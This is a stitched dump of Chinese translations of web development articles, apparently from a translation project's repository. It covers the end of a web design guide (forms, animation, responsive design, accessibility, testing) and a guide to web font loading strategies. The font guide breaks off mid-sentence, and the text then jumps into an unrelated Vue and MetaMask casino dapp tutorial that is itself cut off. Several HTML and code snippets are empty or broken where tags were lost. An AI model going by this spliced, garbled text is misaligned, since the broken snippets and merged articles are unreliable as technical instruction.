    模糊测试是一种检验设计焦点和视觉层次的技术。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-large-opt.png)) #### Web Forms 网页表单 表单填写是网页最重要的互动类型之一。事实上,表单通常被认为是完成目标的最后一步。确保用户可以快速填写表单,不会出现疑问。表单就像是一个对话框:用户和网站双方之间应该有逻辑的沟通。 * **只问必须问的问题** 只要求用户填写真正需要的内容。表单的任意一个额外字段都会影响转换率。每次都想清楚你为什么需要这些信息,你将如何使用这些信息。 * **合理排列表单问题** 表单上的问题应该从用户视角出发,符合用户逻辑。例如,在填写名字之前先填写地址就不合逻辑。 * **整合相关联的字段** 将相关的字段信息整理在同一个逻辑单元中。从一系列问题到下一系列问题的流程更像是一个对话。将相关字段整合分组更有助于用户理解信息。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/50-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/50-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 将相关字段整合在一起 (图片来源: Nielsen Norman Group) #### Animation 动画 越来越多的设计师提倡 [动画即功能](https://www.smashingmagazine.com/2017/01/how-functional-animation-helps-improve-user-experience/) 来提升用户体验。动画不再仅仅为了有趣,它是提高交互效率的重要工具之一。然而,动画只有在合适的时间和场景下才能提升用户体验。好的交互动画有这样的目标:它是有意义的、功能性的。 以下是动画提升用户体验的一些场景: * **对用户行为的视觉反馈** 好的交互设计提供了视觉反馈。当你需要告知用户操作的结果时,视觉反馈非常有效。如果操作执行失败,动画可以简捷地为用户提供反馈。例如,输入密码错误时可以使用摇动效果。这很好理解,摇动效果作为常用体势,在人际沟通中普遍意味着“不”。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/44-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/44-A-Comprehensive-Guide-To-Web-Design.gif) 用户看到动画后,秒懂问题出在哪 (图片来源: [The Kinetic UI](http://thekineticui.com/your-app-login-is-boring/)) * **系统状态的可见性**[Jakob Nielsen 的十大启发式可用性](http://www.nngroup.com/articles/ten-usability-heuristics/)中,系统状态的可见性是用户界面设计最重要的原则之一。用户随时随地都想知道当前的位置,而不能让他们一直猜测 —— 应用应该通过适当的视觉反馈告诉用户现在的状态。数据上传和下载操作是功能性动画的常见场景。例如,加载动画显示了任务的进度、处理的速度,并在用户心中奠定了后续可能的处理速度。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/39-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/39-A-Comprehensive-Guide-To-Web-Design.gif) (图片来源: [xjw](https://dribbble.com/xjw)) * **导航式动画** 导航式动画是指网站上各个状态间的切换 —— 例如,从概述视图到详细视图。状态切换往往涉及到大面积场景更换,有时候用户思维难以跟上。功能性动画能简化用户对场景转变过程的适应,在场景切换之间平滑过渡,并通过在场景的状态变化中插入视觉连接来凸出变化所在。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/47-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/47-A-Comprehensive-Guide-To-Web-Design.gif) (图片来源: [Ramotion](http://ramotion.com)) * **品牌推广** 假设你有十几个相同功能的网站,帮用户完成相同任务。它们都能提供良好的用户体验,但用户最喜欢的不仅仅是良好的用户体验。网站应该与用户建立情感联系。此时品牌动画在吸引用户方面起着决定性作用。它会形成公司的品牌价值,突出产品优势,使用户真正感到愉悦,令人难忘。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/05-A-Comprehensive-Guide-to-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/05-A-Comprehensive-Guide-to-Web-Design.gif) (图片来源: [Heco](https://www.helloheco.com/)) ### 移动端支持 如今,将近 [50% 的用户](https://www.statista.com/topics/779/mobile-internet/)通过移动设备访问网页。这对网站设计师意味着什么?这意味着我们设计的每一个页面都必须支持移动端。 #### 响应式网页设计 针对不同的桌面浏览器、移动浏览器优化你的网站,每一平台的浏览器都有不同的屏幕分辨率,技术支持和用户基础。 * **单栏布局目标** 单栏布局通常在移动设备上效果很好。单栏布局不仅能有效应对小屏幕的有限空间,而且在不同分辨率的设备上、横竖屏模式中自如伸缩。 * **使用 Priority+ 模式优化断点式导航栏** [Priority+](http://justmarkup.com/log/2012/06/19/responsive-multi-level-navigation/) 是 Michael Scharnagl 提出的术语,用来描述导航栏展示重要的导航选项,隐藏次要的导航选项于“更多”按钮中。这种模式充分利用了可用的屏幕空间。当屏幕拉伸时,导航选项随之增加,从而提高了网站的可视性和参与度。这种模式在多模块富内容的网站尤为有效(例如新闻网站、大型电商网站)。图例中卫报使用 Priority+ 模式进行模块导航。次要选项仅在用户点击“All”按钮时显示。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/51-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/51-A-Comprehensive-Guide-To-Web-Design.gif) 卫报使用 Priority+ 模式进行模块导航(图片来源: [Brad Frost](http://bradfrost.com/blog/post/revisiting-the-priority-pattern/)) * **确保图像在多个设备端适应尺寸** 网站必须完美适应于所有设备,适应不同分辨率的屏幕、像素密度、放置方向。在设计者构建响应式网站时,主要挑战之一便是图像的管理适配与呈现。为了简化这个任务,可以使用 [响应式图片断点生成器](http://www.responsivebreakpoints.com/) 这类工具处理图像。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 响应式图片断点生成器可以管理适配多尺寸图片,动态生成响应式图片断点。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### 从鼠标点击到手势 移动网页端的交互是通过手指完成的,而非鼠标点击。这意味着设计触碰对象和交互时要应对不同的规则。 * **合理设置交互对象尺寸** 所有交互元素(链接、按钮、菜单)都应该是可用手势点击的。PC 端网页的交互区域(可点击区域)小而精确,而移动端网页需要较大较宽的按钮,方便手指交互。如果你的网站需要大量手势操作进行输入,参考 [MIT Touch Lab 的研究](http://touchlab.mit.edu/publications/2003_009.pdf)来为你的按钮选择适当的尺寸。研究发现手指面的平均尺寸在 10 到 14 毫米间, 指尖在 8 到 10 毫米间,10 × 10 毫米是恰当的触点尺寸。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/07-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/07-A-Comprehensive-Guide-to-Web-Design-preview-opt.png) 小按钮比大按钮难点击 (图片来源: [Apple](https://developer.apple.com/design/tips/)) * **交互需要更强烈的视觉标记** 在移动端的网页上,不存在悬停态。而在 PC 端,用户可以将鼠标悬浮在元素上获得额外的视觉反馈,比如悬停展开下拉菜单。移动端用户不得不点击得到反馈。因此,用户应该具有通过观察来正确预判页面元素行为的能力。 ### Accessibility 无障碍设计 如今的产品必须设计为可被所有人使用,无论用户的是否有障碍。为障碍群体设计实际上是设计师培养同情心,试着以他人视角体验世界的另一种方式。 #### Users With Poor Eyesight 弱视用户 许多网站文本采用低对比度。虽然低对比度文本可能比较新潮,但也更加难阅读难识别。低对比度内容使视力较低的用户、对比度敏感用户产生阅读困难, [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 灰色文字在浅灰色背景下难以阅读。当体验很不好的时候,设计再好也毫无意义。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) 低对比度文字在 PC 端难以阅读,移动端更是难上加难。想象下你走在烈日中,尝试阅读低对比度的文本。这提醒我们无障碍的视觉设计是能更好针对所有用户的设计。 永远不要为了美观牺牲可用性。网站上文本和其他视觉元素最重要的特性就是可读性。可读性要求文本与背景有足够对比。为了确保视觉障碍人士也能阅读,W3C 网页内容无障碍设计指南(WCAG)提出了[建议对比度](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html)。 建议对文本文字和图像文字使用以下对比度: * 字号较小的文本与背景的对比度至少为 4.5:1,最优对比度为 7:1。 * 字号较大的文本(18号字体、14号粗体以上)与背景的对比度至少为 3:1。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/49-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/49-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) **差的例子:** 这几行字不符合颜色建议对比度,在该背景下难以阅读。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/03-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/03-A-Comprehensive-Guide-to-Web-Design-preview-opt.png) **好的例子:** 这几行字符合颜色建议对比度,在该背景下清晰易读。 你可以使用 WebAIM 的[色彩对比度检测](http://webaim.org/resources/contrastchecker/) 快速得知是否在最佳视觉范围内。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-large-opt.png) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Color Blind Users 色盲用户 据估,[全球 4.5% 人口](http://www.colourblindawareness.org/colour-blindness/)为色盲(每 12 名男性中就有 1 名,每 200 名女性中有 1 名)。4% 人口为低视力(每 30 人中有 1 人),0.6% 为盲人(每 188 人中有 1 人)。我们很容易忽视为这些用户群设计,因为大多数设计师都没有经历过这样的问题。 为了让这些用户正常访问,请避免使用颜色维度来传达内容。正如 [W3C 声明](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-without-color.html)所说,不应该使用颜色“作为唯一的视觉方式传达信息,指定行为,提示回应,或区分视觉元素。 一个常见的例子:表单中用颜色作为唯一方式传达警告信息。成功和错误消息分别以绿色和红色表示。但是红绿色盲是最常见的色盲群体 —— 对他们来说这些颜色很难分辨。你可能经常看到这样的错误信息,比如“红色标识区域为必填项”。虽然这看起来问题不大,但对色盲用户来讲,这种表单错误提示超烦。颜色应该被用来突出显示或补充显示可见信息。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/32-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/32-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) **不好的例子:** 这种表单仅靠红色和绿色来表示字段是否有错。色盲用户是无法识别。 上表中,设计师应该给出更具体的提示,比如“您输入的电子邮件地址无效”或者至少在需要注意的地方显示图标。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/33-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/33-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) **好的例子** 图标和文字标签显示哪些字段无效,更好地将信息传递给色盲用户。 #### Blind Users 盲人用户 照片和插画是网站用户体验的重要组成部分。但盲人用户需要屏幕阅读器等辅助技术来翻译网站。屏幕阅读器通过图像的文本标注来“阅读”图片。如果没有文本标注或者描述不够清楚,他们将难以按照预期获取信息。 考虑两个例子 — 一个是 [Threadless](https://www.threadless.com/):一个流行 T 恤的电商网站。这个页面并没有太多在售商品的相关信息,唯一可见的文本信息是商品的价格和尺寸。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-large-opt.png) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) 第二个例子是 ASOS 网站。同样是销售T恤的网页,它为商品提供了准确的文字表述。这有助于使用屏幕阅读器的用户想象商品的外观。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/48-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/48-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 为图像创建解释性文本时,请遵循以下指南: * 所有“有含义的”图像都需要描述性的替代文字。(“有含义的”图片为信息传达提供场景) * 如果图像仅仅是装饰性效果,未提供帮助用户理解页面内容的有用信息,则文本描述并非必要。 #### Keyboard-Friendly Experience 键盘流用户体验 一些用户使用键盘而非鼠标浏览网站。例如,有运动障碍的用户在使用鼠标这类精细运动工具时有困难。可以为此类用户简化交互和网页定位,通过将交互元素适配 Tab 键,并显示键盘指示符。 键盘导航的基本规则如下: * **检查键盘指示符是否明显可见** 有些网页设计师会删除键盘指示符,因为他们觉得碍眼。但这阻碍了键盘用户与网站的正常交互。如果您不喜欢浏览器提供的默认指示符,请别直接删除; 而是通过设计来满足你的品味。 * **所有交互元素都应该可以通过键盘访问** 键盘用户应当可以访问所有交互元素,而不是仅仅能使用导航栏和主要的 CTA 按钮。 W3C 的 WAI-ARIA 创作实践 [“设计模式和工具” ](http://www.w3.org/TR/wai-aria-practices/#aria_ex) 章节,可以找到更多键盘交互的需求细节。 ### Testing 测试 #### Iterative Testing 迭代测试 测试是 [UX 设计流](https://blogs.adobe.com/creativecloud/what-is-ux-and-why-should-you-care/) 中的重要一步。 如同设计周期的其它步骤一样,它是迭代的过程,从早期开始收集反馈,自始至终进行迭代。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-large-opt.png) (图片来源: [Extreme Uncertainty](https://www.extremeuncertainty.com/why-agile-projects-need-to-fund-bml-properly/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Test Page-Loading Time 网页加载时间测试 用户很讨厌加载缓慢的网页,正因如此,响应时间是现代网站的关键因素。根据 Nielsen Norman Group 的研究,主要有[三大响应时间界线:](https://www.nngroup.com/articles/response-times-3-important-limits/) * **0.1 秒** 对用户来说是瞬间。 * **1 秒** 短短一秒对用户认知流几乎无缝,但还是会感到一丝延迟。 * **10 秒** 这几乎是用户注意力的极限了,10 秒的延迟通常会逼走用户马上关闭页面。 显然,我们不能让用户为了任何事务等待 10 秒之久。但即便是几秒的延迟(实际上经常发生),也会降低用户体验。用户会因为等待操作而恼怒。 通常是什么导致加载缓慢呢? * 繁重的内容对象(例如嵌入视频或是幻灯片控件) * 未经优化的后台代码 * 硬件问题(基础设施不足以支持快速操作) 诸如 [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) 类的工具能帮助你找到加载速度过慢的原因。 #### A/B Testing A/B 测试 A/B 测试适用于:当你纠结于两个版本的设计(比如现有版本和重新设计的版本)。这种测试方法包含:对相同数量的两类用户随机显示两个版本,然后对数据进行分析,查看哪个版本更有效地实现目标。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/17-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/17-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) (图片来源: [VWO](https://vwo.com/ab-testing/)) ### Developer Handoff 开发者交接 [UX 设计流程](https://blogs.adobe.com/creativecloud/ux-process-what-it-is-what-it-looks-like-and-why-its-important/) 包含两个重要的步骤:原型设计工作、解决方案的开发。两步之间的衔接可以称作为交接 (handoff)。当设计到最后阶段,准备投入开发时,设计师准备设计规范,也就是设计实现的文档描述。设计规范确保设计稿会遵循原始意向进行开发工作。 **设计规范的精度十分重要** 如果存在不精准的设计规范,开发者在网站开发阶段要么边猜边做,要么回来找设计师寻找答案。但是手工填写设计规范非常头疼,取决于设计的复杂性,这通常需要大量时间成本。 Adobe XD 的设计规格功能(测试版)可以发布公开访问的 URL 供开发工程师检查工作流。设计师不再需要花费大量时间创作设计规范,与程序员沟通元素位置,字体样式。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/25-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/25-A-Comprehensive-Guide-To-Web-Design-800w-opt.png) Adobe XD 的设计规格功能(测试版) ### 结语 与任何方面的设计一样,这里的建议都只是一个开始。将这些想法与你的实践相结合以达到最好的效果。把你的网站看作是一个循序渐进的项目,使用分析手段和用户反馈逐步改善体验。记住:设计并不是为了设计师而设计 —— 为用户而设计。 > 这篇文章是由 Adobe 赞助的 UX 设计系列其中一篇。Adobe XD 工具是志于 [快速流畅的 UX 设计流](https://adobe.ly/2hI52UE),帮你快速由想法到实现原型。设计,原型,分享 —— 只需一个应用。点击[Adobe XD on Behance](https://www.behance.net/galleries/adobe/5/XD)查看更多使用 Adobe XD 创作出得灵性作品,[注册 Adobe experience design newsletter ](https://adobe.ly/2yKueO8) 接收最新 UX/UI 设计趋势和灵感。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/comprehensive-webfonts.md ================================================ > * 原文链接 : [A COMPREHENSIVE GUIDE TO FONT LOADING STRATEGIES](https://www.zachleat.com/web/comprehensive-webfonts/) > * 原文作者 : [Zell](http://zellwk.com/contact/) > * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) > * 校对者: [cyseria](https://github.com/cyseria) , [David Lin (wild-flame)](https://github.com/wild-flame) # 字体加载策略全面指南 _2016 年 7 月 12 日,_ _本文需要 20 分钟的阅读时间。_ _这份指南并不是教你怎么使用显示图标字体,它有不同的加载优先顺序和使用场景。事实上,此时使用 `SVG` 或许才是一个长久之计。_ [![A diagram describing the relationship between the font loading strategies](https://www.zachleat.com/web/img/posts/comprehensive-webfonts/strategies.svg)](https://www.zachleat.com/web/img/posts/comprehensive-webfonts/strategies.svg) ## 跳转到: * [随意使用 `@font-face` ](#unceremonious-随意使用-font-face) * [`font-display`](#font-display) * [预加载 `preload` ](#预加载-preload) * [不要使用在线字体](#不要使用在线字体) * [内嵌数据 URI](#内嵌数据-uri) * [异步数据 URI 样式表](#异步数据-uri-样式表) * [有分类的 FOUT](#有分类的-fout) * [两个阶段渲染的 FOFT,或 FOUT](#两个阶段渲染的-foft-或-fout) * [严格的 FOFT](#严格的-foft) * [有数据 URI 的严格 FOFT](#有数据-uri-的严格-foft) * [有预加载 `preload` 的严格FOFT](#有预加载-preload-的严格foft) ## 快速指南 我想要一个这样的实现途径: * _是一个对大多数使用场景来说*足够好*且全面的实现方式_: (例如) [有分类的 FOUT](#有分类的-fout) * _是尽可能最容易实现的方式_: 我已经学习了很多有关 [在线字体](http://www.webhek.com/tag/web-font/) (的知识),在我写这篇文章的时候,目前的浏览器还缺少对在线字体高效,稳定和最容易的实现方案。不得不承认,如果你正在寻找现存的可行方案,请考虑 [不要使用在线字体](#不要使用在线字体)。如果你都不清楚在线字体能为你的设计带来什么提升的话,他们确实一点儿都不适合你。别误会,在线字体是一个**伟大发明**。但是你得让自己明白什么是它能带来的好处。( [由Robin Rendel创作的,为在线字体辩护,论_在线字体的价值_](https://robinrendle.com/notes/in-defense-of-webfonts/#the-value-of-a-webfont) 是一个让你初步了解在线字体的好文章. 如果你还知道其他的, 请留言告诉我.) * _是一个有最佳性能的实现方式_: 使用 `严格的 FOFT` 实现方式其中的一个。就个人而言,在我写作的时候,我个人偏爱 [有数据 URI 的严格 FOFT](#有数据-uri-的严格-foft), 但是仍转向了 [有预加载 `preload` 的严格FOFT](#有预加载-preload-的严格foft),因为越来越多的浏览器支持`preload(预加载)`功能。 * _能和大量的在线字体(库)很好的配合工作_: 如果你痴迷于在线字体(任何多过 4 或 5 个的在线字体或者总共文件大小多于 100KB)这有点复杂。我先推荐你尝试削减你的在线字体的使用量,但如果这不可能保持标准 [两个阶段渲染的 FOFT,或 FOUT](#两个阶段渲染的-foft-或-fout) 的实现方式。为每一个字型使用不同的 `FOFT` 实现方式(`Roman`,`Bold`,`Italic` 等等分类)。 * _将能和我现存的云/在线字体的托管服务解决方案配合使用_: `FOFT` 的实现方式一般来说需要亲自托管服务, 所以保持可靠和真的 [有分类的 FOUT](#有分类的-fout) 的实现方式. ### 标准 1. **简化实现**: 有时候, 简单才能赶上最后的时间期限。 2. **渲染性能**: `FOUT` 的特性是允许立刻渲染回退方案的字体也可以渲染在线字体,当它完成加载时。我们可以采用额外的步骤减少大量的显示回退方案字体的时间并且减少了对 `FOUT` 的影响, 更有甚者能将他们一起消除。 3. **可扩展性**: 一些加载字体的实现方式支持连续的加载在线字体。我们想并行的执行这些请求。我们将评估每一个实现和扩张,发展中的在线字体配合度有多好。 4. **拥抱未来**: 如果有一个新的字体出现它将需要额外的研发和维护么, 或者它将能方便的适配么? 5. **浏览器支持**: 它是否能成功支持足够多的浏览器满足项目上的需要? 6. **灵活性**: 这个实现方式是否容易地促进整合在线字体的请求,重新绘制和(页面)回流? 我们想(完全)控制哪个字体何时(何地)被加载。 7. **稳定性**: 如果一个在线字体的请求被挂起了会发生什么呢?(需要被渲染的)文本将依旧被(显示)可读或者这个在线字体将是一个单点故障(`SPOF`)(导致整个字体渲染失败)? 8. **托管服务**: 这个实现方式是否需要亲自(虚拟主机)托管服务或者它是否能自适应配合多种多样的字体加载器(由其他云服务商/字体创始人提供)。 9. **阉割版(裁剪版)**: 一些字体的(使用)许可证不允许(内容被)裁剪(需要保证完整性),然而有些实现方式不得不为了性能需要对字体(库)进行裁剪。 ## (Unceremonious) 随意使用 @font-face 随意把`@font-face`代码块放置在你的网页中并且希望这是最好的办法. 这是 [Google Fonts](https://fonts.google.com/) 推荐的默认方式. * **[演示程序: (Unceremonious)随意使用 @font-face](https://www.zachleat.com/web-fonts/demos/unceremonious-font-face.html)** #### 优点 * 非常简单: 增加一个有 `WOFF` 和 `WOFF2` 格式的 CSS `@font-face` 代码块(也可以是 `OpenType` 格式, 如果你想要 `Android 4.4` 以下支持 - 比较下 [WOFF](http://caniuse.com/#feat=woff) 和 [TTF/OTF](http://caniuse.com/#feat=ttf))。 * 拥抱未来: 这是浏览器默认的作法。这就是在线字体的主流形式。只需要在你的 `@font-face` 中, 在 `src` 属性中用逗号分割开其他需要包含的 `URL` , 就能增加额外的字体样式。 * 在 `IE` 和 `Edge` (微软浏览器)上都有上佳的渲染性能: 没有 `FOIT`,没有被隐藏和不可见的文本。我完全支持微软这个英明的决定。 * 不需要修改字体(通过裁剪或者其他形式)。 无需担心许可。 #### 缺点 * 在其他浏览器的渲染性能差强人意: 在多数其他流行的浏览器上最多有 3 秒时间的 `FOIT`, 切换到 `FOUT` 加载时间更长. 当然这些请求可能被更早完成, 尽管我们知道互联网(的响应时间)是会变得多么不可靠-但是对于内容至少 3 秒无法阅读, 这个时间还是太长了。 * 目前来说, 不是很稳定: 一些基于 `WebKit` 内核实现的浏览器没有一个最大 `FOIT` 超时时间(虽然 `WebKit` 最近修复了这个问题并且我相信这个修复会被 `Safari Version 10` 采用。),这也意味着在线字体的请求会成为一个单点失败(如果这个请求被挂起, 那么内容将永远不会被显示)。 * 将请求或重绘整合在一起一点都不容易。每一个在线字体都会引发一个单独的重绘/回流步骤和自己的 `FOIT` / `FOUT` 超时时间. 这会带来不良的情况, 例如 [Mitt Romney 的在线字体问题](https://www.zachleat.com/web/mitt-romney-webfont-problem/) ). #### 结论: 不要使用。 ## font-display 在你的 `@font-face` 代码块中增加一个新的 `font-display: swap` 描述符选择性加入支持 `FOUT` 的浏览器。另外, 如果考虑到在线字体不是你设计一定需要的, 可以使用 `font-display: fallback` `font-display: optional`。在我写这篇文章时, 这个特性还没法在任何稳定的浏览器上使用。 #### 优点 * 非常简单: 只需要在你的 `@font-face` 代码块中增加一条 CSS 描述符号。 * 上佳的渲染性能: 如果这个实现方式能被大部分的浏览器支持, 这将给我们一个没有任何`JavaScript`的 `FOUT`。 一个只有 CSS 的实现方式会更理想。 * 超棒的拥抱(面向)未来: 与子线字体样式成正交状态。不需要改变什么, 你就可以在栈上增加新的字体。 * 非常稳定: 即使在线字体的请求被挂起, 一种 `FOUT` 实现方式也将在浏览器中显示支持回退方案的文本。更好的是-你的在线字体并不依赖 `JavaScript ployfill`, 这意味着如果 `JavaScript` 方法失败, 用户依旧还能看到在线字体。 * 不需要修改字体(通过裁剪或者其他形式)。无需担心许可. #### 缺点 * 没有稳定的浏览器支持。只有 [`Chrome`平台有一个更新状态](https://www.chromestatus.com/feature/4799947908055040)。它没有被录入 [`Firefox`](https://platform-status.mozilla.org/) 或者 [`Edge`](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/) 平台。开发者门将可能需要匹配 `JavcScript` 实现方式, 直到一流的浏览器能支持。 * 有限的灵活性: 没法整合请求和重绘。这也并没有听上去那么糟-如果你 FOUT 所有的东西你将避免发生 *Mitt Romney 的在线字体问题*, 但是整合在其他方面会很有用-我们将在之后讨论。 * 托管服务: 没法在任何已知的在线字体托管服务中控制这个属性。这不在谷歌字体 CSS 中, 举例来说. 当浏览器支持以后, 这将会被改变。 #### 结论: 但加无妨,但还是不够。 ## 预加载 `preload` 增加 `` 更快的获取到你的字体。配合 `@font-face` 代码块使用并且也可以和 `font-display` 描述符号一起锦上添花。 切记: 这个实现方式的利弊完全取决于配合使用的加载策略, 无论是 [随意使用 `@font-face`](#unceremonious-随意使用-font-face) 或者 [`font-display`](#font-display)。 ### 优点 * 一键实现, 只需要一个 ``。 * 比 `@font-face` 代码块更好的渲染性能,在线字体的请求优先级很高。 * 拥抱未来, 如果你使用 `type` 属性去指定字体样式。在 [WOFF2](http://caniuse.com/#feat=woff2) 之前, 一个网页浏览器扔可能执行 [preload](http://caniuse.com/#feat=link-rel-preload) (虽然听上去不太会), 并且如果没有这个属性, 你可能会看到一个多余的请求。所以, 清确保包含了 `type`。 * 不需要修改字体(通过裁剪或者其他形式)。无需担心许可。 ### 缺点 * 可扩展性: 预加载的内容越多, 初始化渲染的内容就越容易被阻塞(注意, 从网站上获取的比对数据都使用了严格的 CSS)。 尝试仅仅使用 1 到 2 个重要的在线字体。 * 有限的游览器支持 - 目前只有 `Blink` 支持, 但会越来越多。 * 灵活性: 没法整合重绘/回流。 * 这个实现方式你没法使用第三方的托管服务. 你需要在标记阶段提交你所请求的在线字体的 URL。 [Google Fonts](https://www.google.com/fonts) , 在 CSS 向他们的 CDN 请求的时候生成这些。 #### 结论: 没有使用的必要。 ## 不要使用在线字体 好吧, 其实我并不想讨论太多这个, 实际上这根本就不是一个技术上的加载策略。_但我必须说这比起滥用在线字体要好的多。_你正在错过很多在线字体能带给你新的字体特性和提升阅读性(的机会), 但这是你的选择。 #### 优点 * 不太确定哪个更加容易: 仅使用没有 `@font-face` 的 `font-family`。 * 几乎是即刻渲染: 不用担心 `FOUT` 或 `FOIT`。 #### 缺点 * 可适用性很少。仅仅有少部分的字体支持跨平台。可查看 [fontfamily.io](http://fontfamily.io/) 确认某个满足你需求的系统字体是否能被浏览器接受(支持)。 #### 结论: 当然,可以使用。但我一点儿都不意外。 ## 内嵌数据 URI 这个方法有两种嵌入式(的代码块): 一个是 `` 请求或在 ` ``` * 现在我们首先导入 hello-metamask 组件文件,通过导入文件将其加载到主组件 casino-app 中,然后在我们的 vue 实例中,引用它作为模板中一个标签。在 _casino-dapp.vue_ 中粘贴这些代码: ``` ``` * 现在如果你打开 router/index.js 你会看到 root 下只有一个路由,它现在仍指向我们已删除的 HelloWorld.vue 组件。我们需要将其指向我们主组件 casino-app.vue。 ``` import Vue from 'vue' import Router from 'vue-router' import CasinoDapp from '@/components/casino-dapp' Vue.use(Router) export default new Router({ routes: [ { path: '/', name: 'casino-dapp', component: CasinoDapp } ] }) ``` 关于 Vue Router:你可以增加额外的路径并为其绑定组件,当你访问定义的路径时,在 App.vue 文件中的 router-view 标签中,对应的组件会被渲染,并进行显示。 * 在 _src_ 中创建一个名为 _util_ 的新文件夹,在这个文件夹中创建另一个名为 _constants_ 的新文件夹,并创建一个名为 _networks.js_ 的文件,粘贴下面的代码。我们用 ID 来代替以太坊(Ethereum)网络名称显示,这样做会保持我们代码的整洁。 ``` export const NETWORKS = { '1': 'Main Net', '2': 'Deprecated Morden test network', '3': 'Ropsten test network', '4': 'Rinkeby test network', '42': 'Kovan test network', '4447': 'Truffle Develop Network', '5777': 'Ganache Blockchain' } ``` * 最后的但同样重要的(实际上现在用不到)是,在 _src_ 中创建一个名为 _store_ 的新文件夹。我们将在下一节继续讨论。 如果你在终端中执行 `npm 